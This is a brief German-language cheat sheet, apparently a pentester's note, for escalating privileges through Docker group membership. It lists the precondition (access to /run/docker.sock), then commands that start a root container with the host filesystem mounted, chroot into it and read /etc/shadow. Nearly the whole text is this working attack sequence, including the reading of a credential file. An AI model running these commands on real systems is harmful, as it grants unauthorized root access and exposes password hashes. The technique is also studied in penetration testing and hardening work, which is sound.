Docker Privilige Escalation

Vorraussetzung

User muss in der Gruppe docker sein

Zugriff auf

• srw-rw---- 1 root docker 0 Jul 16 08:38 /run/docker.sock

Auf dem Host

• docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash

Im Container

• chroot /mnt

Zugriff

• cat /etc/shadow